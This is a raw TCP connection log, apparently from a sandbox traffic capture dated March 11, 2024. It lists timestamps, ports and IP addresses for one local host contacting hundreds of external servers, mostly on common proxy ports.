Mar 11, 2024 15:21:02.007797956 CET	4519	50159	67.43.227.227	192.168.2.9
Mar 11, 2024 15:21:02.007814884 CET	34455	49727	162.241.66.135	192.168.2.9
Mar 11, 2024 15:21:02.009322882 CET	23085	50168	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:02.010107994 CET	80	50283	172.67.181.149	192.168.2.9
Mar 11, 2024 15:21:02.010190964 CET	50283	80	192.168.2.9	172.67.181.149
Mar 11, 2024 15:21:02.011037111 CET	24465	50178	72.10.164.178	192.168.2.9
Mar 11, 2024 15:21:02.011750937 CET	80	49974	104.16.221.57	192.168.2.9
Mar 11, 2024 15:21:02.012478113 CET	80	50292	104.24.136.68	192.168.2.9
Mar 11, 2024 15:21:02.012583971 CET	49790	80	192.168.2.9	50.168.163.166
Mar 11, 2024 15:21:02.012584925 CET	49726	8080	192.168.2.9	46.209.54.102
Mar 11, 2024 15:21:02.012619972 CET	50292	80	192.168.2.9	104.24.136.68
Mar 11, 2024 15:21:02.019490004 CET	999	50107	45.181.123.151	192.168.2.9
Mar 11, 2024 15:21:02.019587994 CET	50107	999	192.168.2.9	45.181.123.151
Mar 11, 2024 15:21:02.022718906 CET	50283	80	192.168.2.9	172.67.181.149
Mar 11, 2024 15:21:02.022792101 CET	50292	80	192.168.2.9	104.24.136.68
Mar 11, 2024 15:21:02.023106098 CET	50107	999	192.168.2.9	45.181.123.151
Mar 11, 2024 15:21:02.023704052 CET	50461	80	192.168.2.9	54.38.181.125
Mar 11, 2024 15:21:02.023974895 CET	50463	8181	192.168.2.9	103.179.253.202
Mar 11, 2024 15:21:02.024041891 CET	50462	6879	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:02.024049997 CET	21358	50102	66.42.60.190	192.168.2.9
Mar 11, 2024 15:21:02.024758101 CET	50465	10977	192.168.2.9	67.43.227.226
Mar 11, 2024 15:21:02.024760008 CET	50464	6002	192.168.2.9	45.11.95.166
Mar 11, 2024 15:21:02.025964975 CET	50467	3128	192.168.2.9	213.131.230.161
Mar 11, 2024 15:21:02.026177883 CET	50466	8089	192.168.2.9	114.231.42.97
Mar 11, 2024 15:21:02.026411057 CET	50468	15109	192.168.2.9	67.43.228.253
Mar 11, 2024 15:21:02.026988983 CET	50469	999	192.168.2.9	186.148.182.86
Mar 11, 2024 15:21:02.027316093 CET	50470	8080	192.168.2.9	139.0.6.11
Mar 11, 2024 15:21:02.028436899 CET	50472	80	192.168.2.9	159.203.13.121
Mar 11, 2024 15:21:02.028440952 CET	50471	57495	192.168.2.9	162.241.53.72
Mar 11, 2024 15:21:02.028640985 CET	50473	80	192.168.2.9	185.162.231.254
Mar 11, 2024 15:21:02.029529095 CET	50474	8080	192.168.2.9	5.202.53.65
Mar 11, 2024 15:21:02.029892921 CET	50475	46849	192.168.2.9	162.241.46.69
Mar 11, 2024 15:21:02.030134916 CET	50476	80	192.168.2.9	134.209.189.42
Mar 11, 2024 15:21:02.030225039 CET	50477	6009	192.168.2.9	45.11.95.166
Mar 11, 2024 15:21:02.030771971 CET	50478	27391	192.168.2.9	38.91.107.224
Mar 11, 2024 15:21:02.030965090 CET	50479	8896	192.168.2.9	192.163.201.131
Mar 11, 2024 15:21:02.031676054 CET	50480	1080	192.168.2.9	139.180.140.254
Mar 11, 2024 15:21:02.031918049 CET	50481	8080	192.168.2.9	189.3.69.230
Mar 11, 2024 15:21:02.032133102 CET	50482	3128	192.168.2.9	37.221.94.83
Mar 11, 2024 15:21:02.032497883 CET	50483	3128	192.168.2.9	213.17.246.46
Mar 11, 2024 15:21:02.032746077 CET	15673	50123	8.217.44.229	192.168.2.9
Mar 11, 2024 15:21:02.032752037 CET	50484	80	192.168.2.9	3.128.142.113
Mar 11, 2024 15:21:02.033027887 CET	36181	49885	69.61.200.104	192.168.2.9
Mar 11, 2024 15:21:02.033121109 CET	50123	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:02.033121109 CET	49885	36181	192.168.2.9	69.61.200.104
Mar 11, 2024 15:21:02.033229113 CET	50485	55217	192.168.2.9	85.25.177.53
Mar 11, 2024 15:21:02.033467054 CET	50123	15673	192.168.2.9	8.217.44.229
Mar 11, 2024 15:21:02.033467054 CET	49885	36181	192.168.2.9	69.61.200.104
Mar 11, 2024 15:21:02.033729076 CET	50486	8893	192.168.2.9	186.215.87.194
Mar 11, 2024 15:21:02.034651995 CET	50487	4153	192.168.2.9	200.109.65.110
Mar 11, 2024 15:21:02.035114050 CET	50488	80	192.168.2.9	184.169.154.119
Mar 11, 2024 15:21:02.035269976 CET	3128	50124	144.91.106.93	192.168.2.9
Mar 11, 2024 15:21:02.035842896 CET	50489	5430	192.168.2.9	103.164.190.221
Mar 11, 2024 15:21:02.036371946 CET	50490	9300	192.168.2.9	198.211.99.26
Mar 11, 2024 15:21:02.037045956 CET	50491	59124	192.168.2.9	5.135.137.13
Mar 11, 2024 15:21:02.037185907 CET	80	49784	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:02.037285089 CET	50492	8089	192.168.2.9	103.143.8.126
Mar 11, 2024 15:21:02.037323952 CET	80	49784	123.126.158.50	192.168.2.9
Mar 11, 2024 15:21:02.037353992 CET	49784	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:02.037445068 CET	49784	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:02.038667917 CET	50493	5678	192.168.2.9	195.219.98.27
Mar 11, 2024 15:21:02.038667917 CET	50494	80	192.168.2.9	123.126.158.50
Mar 11, 2024 15:21:02.038955927 CET	50495	3128	192.168.2.9	94.100.18.111
Mar 11, 2024 15:21:02.038990021 CET	8080	50137	49.13.124.150	192.168.2.9
Mar 11, 2024 15:21:02.039391041 CET	50497	8080	192.168.2.9	180.183.59.99
Mar 11, 2024 15:21:02.039391041 CET	50496	31337	192.168.2.9	186.251.255.149
Mar 11, 2024 15:21:02.040390015 CET	50498	44826	192.168.2.9	162.214.121.173
Mar 11, 2024 15:21:02.040395975 CET	50499	30885	192.168.2.9	66.29.131.58
Mar 11, 2024 15:21:02.040698051 CET	50500	80	192.168.2.9	50.222.245.50
Mar 11, 2024 15:21:02.040963888 CET	4145	50182	24.249.199.12	192.168.2.9
Mar 11, 2024 15:21:02.041491032 CET	50502	49507	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:02.041491985 CET	50501	80	192.168.2.9	50.200.12.87
Mar 11, 2024 15:21:02.041584969 CET	50182	4145	192.168.2.9	24.249.199.12
Mar 11, 2024 15:21:02.041806936 CET	50182	4145	192.168.2.9	24.249.199.12
Mar 11, 2024 15:21:02.041810036 CET	50503	5678	192.168.2.9	175.100.47.191
Mar 11, 2024 15:21:02.043025017 CET	50504	8181	192.168.2.9	103.234.28.211
Mar 11, 2024 15:21:02.044384003 CET	50505	80	192.168.2.9	186.124.164.213
Mar 11, 2024 15:21:02.044472933 CET	50506	80	192.168.2.9	198.168.189.54
Mar 11, 2024 15:21:02.044508934 CET	4145	50200	174.64.199.82	192.168.2.9
Mar 11, 2024 15:21:02.044728041 CET	50200	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:02.045691967 CET	50200	4145	192.168.2.9	174.64.199.82
Mar 11, 2024 15:21:02.045696974 CET	50507	80	192.168.2.9	90.188.250.16
Mar 11, 2024 15:21:02.046256065 CET	50508	19001	192.168.2.9	8.210.8.157
Mar 11, 2024 15:21:02.046932936 CET	50509	28513	192.168.2.9	213.136.78.200
Mar 11, 2024 15:21:02.047753096 CET	50510	999	192.168.2.9	200.39.139.65
Mar 11, 2024 15:21:02.047842026 CET	15673	50138	8.217.143.187	192.168.2.9
Mar 11, 2024 15:21:02.047991037 CET	50138	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:02.048985004 CET	50138	15673	192.168.2.9	8.217.143.187
Mar 11, 2024 15:21:02.048991919 CET	50511	80	192.168.2.9	188.40.44.95
Mar 11, 2024 15:21:02.049561024 CET	50513	3260	192.168.2.9	148.72.23.56
Mar 11, 2024 15:21:02.049602985 CET	50512	21193	192.168.2.9	159.89.194.121
Mar 11, 2024 15:21:02.050192118 CET	50514	31355	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:02.050592899 CET	50516	56861	192.168.2.9	186.159.3.193
Mar 11, 2024 15:21:02.050622940 CET	50515	4145	192.168.2.9	107.181.161.81
Mar 11, 2024 15:21:02.051120043 CET	50517	10587	192.168.2.9	67.43.236.19
Mar 11, 2024 15:21:02.051253080 CET	4145	49968	184.181.217.213	192.168.2.9
Mar 11, 2024 15:21:02.051440954 CET	50518	999	192.168.2.9	181.78.74.78
Mar 11, 2024 15:21:02.051513910 CET	4145	49968	184.181.217.213	192.168.2.9
Mar 11, 2024 15:21:02.052499056 CET	50519	12334	192.168.2.9	146.19.106.145
Mar 11, 2024 15:21:02.052791119 CET	80	50125	104.17.9.114	192.168.2.9
Mar 11, 2024 15:21:02.052937984 CET	80	50125	104.17.9.114	192.168.2.9
Mar 11, 2024 15:21:02.053174019 CET	80	50125	104.17.9.114	192.168.2.9
Mar 11, 2024 15:21:02.053189993 CET	80	50133	172.67.182.96	192.168.2.9
Mar 11, 2024 15:21:02.053204060 CET	50125	80	192.168.2.9	104.17.9.114
Mar 11, 2024 15:21:02.053230047 CET	80	50133	172.67.182.96	192.168.2.9
Mar 11, 2024 15:21:02.053257942 CET	50125	80	192.168.2.9	104.17.9.114
Mar 11, 2024 15:21:02.053464890 CET	50133	80	192.168.2.9	172.67.182.96
Mar 11, 2024 15:21:02.054053068 CET	50521	999	192.168.2.9	190.97.238.81
Mar 11, 2024 15:21:02.054094076 CET	80	50133	172.67.182.96	192.168.2.9
Mar 11, 2024 15:21:02.054126978 CET	50520	4145	192.168.2.9	184.181.217.213
Mar 11, 2024 15:21:02.054253101 CET	50133	80	192.168.2.9	172.67.182.96
Mar 11, 2024 15:21:02.054255962 CET	50522	8080	192.168.2.9	185.247.224.85
Mar 11, 2024 15:21:02.055064917 CET	50524	18936	192.168.2.9	37.187.77.58
Mar 11, 2024 15:21:02.055067062 CET	50523	3128	192.168.2.9	18.134.236.231
Mar 11, 2024 15:21:02.055663109 CET	50525	999	192.168.2.9	200.111.249.197
Mar 11, 2024 15:21:02.055924892 CET	50526	999	192.168.2.9	38.56.23.1
Mar 11, 2024 15:21:02.056638956 CET	50528	80	192.168.2.9	211.128.96.206
Mar 11, 2024 15:21:02.056719065 CET	50527	999	192.168.2.9	186.24.9.114
Mar 11, 2024 15:21:02.057532072 CET	80	50303	104.17.66.69	192.168.2.9
Mar 11, 2024 15:21:02.057569981 CET	50529	12334	192.168.2.9	146.19.106.42
Mar 11, 2024 15:21:02.057759047 CET	50303	80	192.168.2.9	104.17.66.69
Mar 11, 2024 15:21:02.057874918 CET	80	49994	104.23.125.117	192.168.2.9
Mar 11, 2024 15:21:02.058039904 CET	50303	80	192.168.2.9	104.17.66.69
Mar 11, 2024 15:21:02.058495998 CET	50531	4153	192.168.2.9	177.131.16.66
Mar 11, 2024 15:21:02.058556080 CET	50530	49145	192.168.2.9	161.97.173.78
Mar 11, 2024 15:21:02.058713913 CET	50532	1981	192.168.2.9	165.16.27.36
Mar 11, 2024 15:21:02.059156895 CET	50533	5678	192.168.2.9	103.120.202.53
Mar 11, 2024 15:21:02.059736013 CET	50534	80	192.168.2.9	51.75.74.18
Mar 11, 2024 15:21:02.060039997 CET	4145	50287	104.37.135.145	192.168.2.9
Mar 11, 2024 15:21:02.060374022 CET	50287	4145	192.168.2.9	104.37.135.145
Mar 11, 2024 15:21:02.060627937 CET	50287	4145	192.168.2.9	104.37.135.145
Mar 11, 2024 15:21:02.061016083 CET	50535	8899	192.168.2.9	117.160.250.132
Mar 11, 2024 15:21:02.061420918 CET	50536	32650	192.168.2.9	197.248.86.237
Mar 11, 2024 15:21:02.061563015 CET	50537	31825	192.168.2.9	162.214.227.68
Mar 11, 2024 15:21:02.061856031 CET	80	49803	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:02.062103987 CET	80	49803	103.231.78.36	192.168.2.9
Mar 11, 2024 15:21:02.062138081 CET	49803	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:02.062767982 CET	49803	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:02.062849998 CET	50538	24787	192.168.2.9	192.163.200.93
Mar 11, 2024 15:21:02.062978983 CET	50539	52195	192.168.2.9	103.60.186.21
Mar 11, 2024 15:21:02.063066959 CET	50540	80	192.168.2.9	103.231.78.36
Mar 11, 2024 15:21:02.063503981 CET	50542	8080	192.168.2.9	154.239.9.94
Mar 11, 2024 15:21:02.063503027 CET	50541	80	192.168.2.9	104.20.67.113
Mar 11, 2024 15:21:02.063730001 CET	50543	8080	192.168.2.9	202.8.74.10
Mar 11, 2024 15:21:02.064157963 CET	4145	50243	74.119.144.60	192.168.2.9
Mar 11, 2024 15:21:02.064205885 CET	7497	49731	157.230.8.196	192.168.2.9
Mar 11, 2024 15:21:02.064268112 CET	50243	4145	192.168.2.9	74.119.144.60
Mar 11, 2024 15:21:02.064466000 CET	50243	4145	192.168.2.9	74.119.144.60
Mar 11, 2024 15:21:02.064831018 CET	50544	8888	192.168.2.9	47.236.36.58
Mar 11, 2024 15:21:02.064831018 CET	50545	80	192.168.2.9	104.20.75.31
Mar 11, 2024 15:21:02.065320969 CET	50546	8060	192.168.2.9	38.54.95.19
Mar 11, 2024 15:21:02.065809965 CET	50548	8888	192.168.2.9	31.43.158.108
Mar 11, 2024 15:21:02.065812111 CET	50547	5678	192.168.2.9	109.86.228.165
Mar 11, 2024 15:21:02.066947937 CET	50549	80	192.168.2.9	50.174.7.157
Mar 11, 2024 15:21:02.066951036 CET	50550	80	192.168.2.9	50.218.57.66
Mar 11, 2024 15:21:02.067461014 CET	4145	50132	222.124.130.195	192.168.2.9
Mar 11, 2024 15:21:02.067528009 CET	59347	50273	157.245.82.62	192.168.2.9
Mar 11, 2024 15:21:02.067722082 CET	50551	9002	192.168.2.9	58.20.248.139
Mar 11, 2024 15:21:02.068053961 CET	50553	4145	192.168.2.9	36.90.60.255
Mar 11, 2024 15:21:02.068054914 CET	50552	1080	192.168.2.9	185.203.220.16
Mar 11, 2024 15:21:02.068730116 CET	50554	32100	192.168.2.9	50.192.49.195
Mar 11, 2024 15:21:02.069137096 CET	50555	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.069155931 CET	443	50555	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.069334984 CET	50555	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.069643021 CET	50555	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.069643021 CET	50556	37400	192.168.2.9	171.244.140.160
Mar 11, 2024 15:21:02.069659948 CET	443	50555	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.069730043 CET	443	50555	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.070293903 CET	50557	5678	192.168.2.9	36.37.189.64
Mar 11, 2024 15:21:02.071031094 CET	50558	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.071058035 CET	443	50558	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.071093082 CET	50559	30838	192.168.2.9	181.129.138.114
Mar 11, 2024 15:21:02.071381092 CET	50560	8080	192.168.2.9	149.126.101.162
Mar 11, 2024 15:21:02.071605921 CET	50558	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.071605921 CET	50558	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.071640015 CET	443	50558	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.071739912 CET	443	50558	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.073668957 CET	50561	48962	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.073788881 CET	50562	8080	192.168.2.9	122.52.196.36
Mar 11, 2024 15:21:02.074040890 CET	50563	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.074060917 CET	443	50563	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.074068069 CET	26619	50278	67.43.228.253	192.168.2.9
Mar 11, 2024 15:21:02.074587107 CET	50563	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.074587107 CET	50563	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.074613094 CET	443	50563	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.074709892 CET	443	50563	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.074743032 CET	50564	4145	192.168.2.9	1.10.133.134
Mar 11, 2024 15:21:02.075109959 CET	49713	3128	192.168.2.9	12.156.45.155
Mar 11, 2024 15:21:02.075109959 CET	49828	44607	192.168.2.9	162.241.158.204
Mar 11, 2024 15:21:02.075109959 CET	49714	80	192.168.2.9	142.44.210.174
Mar 11, 2024 15:21:02.075129986 CET	49717	4153	192.168.2.9	212.220.13.98
Mar 11, 2024 15:21:02.075131893 CET	49721	80	192.168.2.9	51.210.216.54
Mar 11, 2024 15:21:02.075131893 CET	49716	57699	192.168.2.9	85.25.177.53
Mar 11, 2024 15:21:02.075169086 CET	49719	80	192.168.2.9	172.173.132.85
Mar 11, 2024 15:21:02.075169086 CET	49718	4890	192.168.2.9	188.191.164.55
Mar 11, 2024 15:21:02.075169086 CET	49720	8080	192.168.2.9	46.0.203.186
Mar 11, 2024 15:21:02.076199055 CET	80	49872	65.109.163.154	192.168.2.9
Mar 11, 2024 15:21:02.076848030 CET	50567	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.076848984 CET	50565	999	192.168.2.9	201.77.108.64
Mar 11, 2024 15:21:02.076869011 CET	443	50567	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.076942921 CET	50567	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.077830076 CET	50567	443	192.168.2.9	43.153.174.106
Mar 11, 2024 15:21:02.077835083 CET	50566	8080	192.168.2.9	1.0.171.213
Mar 11, 2024 15:21:02.077840090 CET	443	50567	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.077883005 CET	443	50567	43.153.174.106	192.168.2.9
Mar 11, 2024 15:21:02.079247952 CET	80	50038	45.14.174.180	192.168.2.9
Mar 11, 2024 15:21:02.079276085 CET	50568	80	192.168.2.9	50.172.218.164
Mar 11, 2024 15:21:02.079369068 CET	3129	50150	130.162.213.175	192.168.2.9
Mar 11, 2024 15:21:02.079440117 CET	80	50186	50.174.7.152	192.168.2.9
Mar 11, 2024 15:21:02.079471111 CET	50150	3129	192.168.2.9	130.162.213.175
Mar 11, 2024 15:21:02.079539061 CET	25154	50288	159.223.166.21	192.168.2.9
Mar 11, 2024 15:21:02.079596996 CET	1081	49881	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:02.079617023 CET	50288	25154	192.168.2.9	159.223.166.21
Mar 11, 2024 15:21:02.079648018 CET	49881	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.079725027 CET	50150	3129	192.168.2.9	130.162.213.175
Mar 11, 2024 15:21:02.079948902 CET	50288	25154	192.168.2.9	159.223.166.21
Mar 11, 2024 15:21:02.079950094 CET	49881	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.080585003 CET	50569	1081	192.168.2.9	94.131.14.66
Mar 11, 2024 15:21:02.082707882 CET	15280	50334	184.178.172.18	192.168.2.9
Mar 11, 2024 15:21:02.082781076 CET	50334	15280	192.168.2.9	184.178.172.18
Mar 11, 2024 15:21:02.082916975 CET	4145	49999	184.181.217.206	192.168.2.9
Mar 11, 2024 15:21:02.083661079 CET	4145	49999	184.181.217.206	192.168.2.9
Mar 11, 2024 15:21:02.083688974 CET	4145	49999	184.181.217.206	192.168.2.9
Mar 11, 2024 15:21:02.084626913 CET	80	50212	50.173.140.145	192.168.2.9
Mar 11, 2024 15:21:02.084662914 CET	50570	4145	192.168.2.9	184.181.217.206
Mar 11, 2024 15:21:02.088620901 CET	999	49972	131.100.51.97	192.168.2.9
Mar 11, 2024 15:21:02.089030027 CET	1081	49881	94.131.14.66	192.168.2.9
Mar 11, 2024 15:21:02.089976072 CET	10007	50172	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:02.090204000 CET	50172	10007	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:02.090703964 CET	50172	10007	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:02.090707064 CET	49711	45776	192.168.2.9	192.3.127.220
Mar 11, 2024 15:21:02.090725899 CET	49712	22040	192.168.2.9	161.97.163.52
Mar 11, 2024 15:21:02.090729952 CET	49722	3030	192.168.2.9	154.83.29.105
Mar 11, 2024 15:21:02.090961933 CET	80	50147	162.159.242.158	192.168.2.9
Mar 11, 2024 15:21:02.090990067 CET	49724	999	192.168.2.9	131.100.48.97
Mar 11, 2024 15:21:02.091200113 CET	80	50147	162.159.242.158	192.168.2.9
Mar 11, 2024 15:21:02.091212034 CET	80	50147	162.159.242.158	192.168.2.9
Mar 11, 2024 15:21:02.091964006 CET	80	50158	104.16.25.216	192.168.2.9
Mar 11, 2024 15:21:02.092225075 CET	50147	80	192.168.2.9	162.159.242.158
Mar 11, 2024 15:21:02.092225075 CET	50147	80	192.168.2.9	162.159.242.158
Mar 11, 2024 15:21:02.092289925 CET	80	50158	104.16.25.216	192.168.2.9
Mar 11, 2024 15:21:02.092786074 CET	50158	80	192.168.2.9	104.16.25.216
Mar 11, 2024 15:21:02.092834949 CET	80	50158	104.16.25.216	192.168.2.9
Mar 11, 2024 15:21:02.092849016 CET	10000	50201	147.75.34.86	192.168.2.9
Mar 11, 2024 15:21:02.092935085 CET	50158	80	192.168.2.9	104.16.25.216
Mar 11, 2024 15:21:02.092935085 CET	50201	10000	192.168.2.9	147.75.34.86
Mar 11, 2024 15:21:02.093259096 CET	50201	10000	192.168.2.9	147.75.34.86
Mar 11, 2024 15:21:02.094727039 CET	65533	50179	43.128.40.142	192.168.2.9
Mar 11, 2024 15:21:02.094746113 CET	8080	50155	46.105.35.193	192.168.2.9
Mar 11, 2024 15:21:02.095076084 CET	80	49992	35.72.118.126	192.168.2.9
Mar 11, 2024 15:21:02.095108032 CET	50179	65533	192.168.2.9	43.128.40.142
Mar 11, 2024 15:21:02.096116066 CET	18762	50296	192.111.137.37	192.168.2.9
Mar 11, 2024 15:21:02.096148014 CET	50179	65533	192.168.2.9	43.128.40.142
Mar 11, 2024 15:21:02.096324921 CET	57320	50167	91.134.140.160	192.168.2.9
Mar 11, 2024 15:21:02.096350908 CET	50296	18762	192.168.2.9	192.111.137.37
Mar 11, 2024 15:21:02.096882105 CET	80	50189	172.67.250.212	192.168.2.9
Mar 11, 2024 15:21:02.096996069 CET	80	49992	35.72.118.126	192.168.2.9
Mar 11, 2024 15:21:02.097218037 CET	80	50189	172.67.250.212	192.168.2.9
Mar 11, 2024 15:21:02.097233057 CET	80	50189	172.67.250.212	192.168.2.9
Mar 11, 2024 15:21:02.100980043 CET	50167	57320	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.101001024 CET	80	50377	31.43.179.160	192.168.2.9
Mar 11, 2024 15:21:02.101083994 CET	50377	80	192.168.2.9	31.43.179.160
Mar 11, 2024 15:21:02.102425098 CET	10011	49937	147.75.34.85	192.168.2.9
Mar 11, 2024 15:21:02.102442026 CET	4145	50194	37.34.72.132	192.168.2.9
Mar 11, 2024 15:21:02.104876995 CET	50189	80	192.168.2.9	172.67.250.212
Mar 11, 2024 15:21:02.105004072 CET	80	50050	85.8.68.2	192.168.2.9
Mar 11, 2024 15:21:02.105279922 CET	50377	80	192.168.2.9	31.43.179.160
Mar 11, 2024 15:21:02.105279922 CET	50296	18762	192.168.2.9	192.111.137.37
Mar 11, 2024 15:21:02.105994940 CET	49937	10011	192.168.2.9	147.75.34.85
Mar 11, 2024 15:21:02.106347084 CET	50189	80	192.168.2.9	172.67.250.212
Mar 11, 2024 15:21:02.106347084 CET	49835	8000	192.168.2.9	142.93.2.226
Mar 11, 2024 15:21:02.106350899 CET	80	50289	50.168.210.226	192.168.2.9
Mar 11, 2024 15:21:02.106363058 CET	50167	57320	192.168.2.9	91.134.140.160
Mar 11, 2024 15:21:02.106363058 CET	49723	3128	192.168.2.9	39.109.113.97
Mar 11, 2024 15:21:02.106364012 CET	49735	64312	192.168.2.9	104.128.103.32
Mar 11, 2024 15:21:02.106373072 CET	49732	8080	192.168.2.9	61.7.138.243
Mar 11, 2024 15:21:02.106384993 CET	49733	8080	192.168.2.9	46.209.207.149
Mar 11, 2024 15:21:02.106453896 CET	49736	8080	192.168.2.9	180.180.218.250
Mar 11, 2024 15:21:02.106729984 CET	49992	80	192.168.2.9	35.72.118.126
Mar 11, 2024 15:21:02.108910084 CET	50572	32100	192.168.2.9	50.238.47.86
Mar 11, 2024 15:21:02.108983040 CET	50571	16379	192.168.2.9	163.172.147.89
Mar 11, 2024 15:21:02.109420061 CET	50573	8080	192.168.2.9	219.243.212.118
Mar 11, 2024 15:21:02.109421968 CET	50575	80	192.168.2.9	46.101.19.131
Mar 11, 2024 15:21:02.109734058 CET	50576	3128	192.168.2.9	130.162.213.175
Mar 11, 2024 15:21:02.110079050 CET	50577	1080	192.168.2.9	23.19.244.109
Mar 11, 2024 15:21:02.110079050 CET	50578	28080	192.168.2.9	38.48.96.4
Mar 11, 2024 15:21:02.110280991 CET	50574	80	192.168.2.9	50.170.90.31
Mar 11, 2024 15:21:02.110280991 CET	50580	80	192.168.2.9	172.67.182.102
Mar 11, 2024 15:21:02.110287905 CET	50579	63404	192.168.2.9	51.161.33.206
Mar 11, 2024 15:21:02.110584021 CET	50582	8193	192.168.2.9	175.183.82.221
Mar 11, 2024 15:21:02.110584974 CET	50581	80	192.168.2.9	75.84.199.80
Mar 11, 2024 15:21:02.110951900 CET	50583	65110	192.168.2.9	125.229.149.168
Mar 11, 2024 15:21:02.110951900 CET	50585	999	192.168.2.9	201.71.3.42
Mar 11, 2024 15:21:02.111011982 CET	4145	50390	98.181.137.80	192.168.2.9
Mar 11, 2024 15:21:02.111130953 CET	50584	3128	192.168.2.9	182.53.50.2
Mar 11, 2024 15:21:02.111284971 CET	50586	8080	192.168.2.9	190.103.61.254
Mar 11, 2024 15:21:02.111288071 CET	50588	3128	192.168.2.9	187.60.219.4
Mar 11, 2024 15:21:02.111397982 CET	50587	4153	192.168.2.9	88.135.44.39
Mar 11, 2024 15:21:02.111398935 CET	50390	4145	192.168.2.9	98.181.137.80
Mar 11, 2024 15:21:02.111454964 CET	50589	80	192.168.2.9	51.75.206.209
Mar 11, 2024 15:21:02.111614943 CET	50590	8090	192.168.2.9	27.147.139.154
Mar 11, 2024 15:21:02.111902952 CET	80	50400	104.16.108.149	192.168.2.9
Mar 11, 2024 15:21:02.111923933 CET	80	50295	50.168.210.232	192.168.2.9
Mar 11, 2024 15:21:02.111941099 CET	50591	8182	192.168.2.9	103.132.54.41
Mar 11, 2024 15:21:02.111970901 CET	50593	3128	192.168.2.9	213.233.178.137
Mar 11, 2024 15:21:02.111972094 CET	50400	80	192.168.2.9	104.16.108.149
Mar 11, 2024 15:21:02.112241030 CET	50594	80	192.168.2.9	43.153.66.118
Mar 11, 2024 15:21:02.112246037 CET	50400	80	192.168.2.9	104.16.108.149
Mar 11, 2024 15:21:02.112349987 CET	50595	80	192.168.2.9	162.214.165.203
Mar 11, 2024 15:21:02.112350941 CET	50592	8089	192.168.2.9	125.87.84.46
Mar 11, 2024 15:21:02.112649918 CET	50596	8080	192.168.2.9	94.153.252.170
Mar 11, 2024 15:21:02.112649918 CET	50597	8080	192.168.2.9	81.94.255.13
Mar 11, 2024 15:21:02.112951994 CET	50598	5212	192.168.2.9	45.11.95.165
Mar 11, 2024 15:21:02.112951040 CET	50600	8080	192.168.2.9	182.160.109.162
Mar 11, 2024 15:21:02.113008022 CET	50599	1080	192.168.2.9	176.115.79.195
Mar 11, 2024 15:21:02.113291979 CET	50602	3128	192.168.2.9	130.162.243.68
Mar 11, 2024 15:21:02.113293886 CET	50601	44437	192.168.2.9	207.180.234.220
Mar 11, 2024 15:21:02.113526106 CET	50603	38390	192.168.2.9	163.172.94.175
Mar 11, 2024 15:21:02.113657951 CET	80	49780	50.145.6.32	192.168.2.9
Mar 11, 2024 15:21:02.113684893 CET	50604	1080	192.168.2.9	123.25.116.228
Mar 11, 2024 15:21:02.113919973 CET	50605	84	192.168.2.9	103.255.145.62
Mar 11, 2024 15:21:02.113919973 CET	50606	53471	192.168.2.9	37.44.238.2
Mar 11, 2024 15:21:02.114098072 CET	50607	80	192.168.2.9	201.39.229.148
Mar 11, 2024 15:21:02.114098072 CET	50608	8080	192.168.2.9	103.234.159.5
Mar 11, 2024 15:21:02.114389896 CET	50609	80	192.168.2.9	104.25.115.125
Mar 11, 2024 15:21:02.114391088 CET	50611	80	192.168.2.9	104.21.194.182
Mar 11, 2024 15:21:02.115524054 CET	50610	80	192.168.2.9	203.24.109.230
Mar 11, 2024 15:21:02.115525007 CET	50612	8080	192.168.2.9	41.180.70.2
Mar 11, 2024 15:21:02.115731001 CET	80	50406	104.19.138.4	192.168.2.9
Mar 11, 2024 15:21:02.115928888 CET	50614	3629	192.168.2.9	103.105.103.17
Mar 11, 2024 15:21:02.115928888 CET	50613	52929	192.168.2.9	92.204.134.38
Mar 11, 2024 15:21:02.116048098 CET	50406	80	192.168.2.9	104.19.138.4
Mar 11, 2024 15:21:02.116113901 CET	50615	25137	192.168.2.9	92.204.136.149
Mar 11, 2024 15:21:02.116236925 CET	50406	80	192.168.2.9	104.19.138.4
Mar 11, 2024 15:21:02.116238117 CET	80	50408	104.20.56.71	192.168.2.9
Mar 11, 2024 15:21:02.116292953 CET	50408	80	192.168.2.9	104.20.56.71
